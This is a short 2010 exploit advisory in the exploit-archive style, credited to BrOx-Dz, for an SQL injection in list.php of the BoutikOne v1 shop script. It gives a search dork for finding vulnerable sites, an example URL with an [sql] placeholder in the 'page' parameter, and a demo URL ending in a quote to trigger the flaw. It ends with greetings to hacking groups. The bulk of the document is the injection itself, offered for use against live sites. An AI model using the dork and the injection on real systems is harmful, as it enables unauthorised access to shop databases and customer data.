BoutikOne SQL Injection

` ________ _____________ / /_  
/ ___/ _ \/ ___/ ___/ _ \/ __/  
(__ ) __/ /__/ / / __/ /_  
/____/\___/\___/_/ \___/\__/  
#####################################################################  
# Exploit Title: BoutikOne® v1 (list.php) SQL Injection Vulnerabilitie  
# Date: 19/09/2010  
# Author: BrOx-Dz  
# Author: [email protected]  
# Software Link: http://www.boutikone.com/  
# Dork : Powered by BoutikOne®  
# Version: BoutikOne®  
# Tested on: windows xp pack 3  
#####################################################################  
  
----------------------------------------------------------------------------  
  
#e.g :  
http://server/patch/list.php?lang=1&path=50&num=38&action=n&sort=Id&page=0[sql]  
  
#demo :  
http://www.site.com/list.php?lang=1&path=42&num=13&action=n&sort=Id&page=0'  
  
----------------------------------------------------------------------------  
greatez:  
  
lagripe-dz mca_crb amine halim all dz members.  
  
www.sec4ever.com / www.v4-team.com/cc/ / www.h4ckforu.com/vb/.   
  
`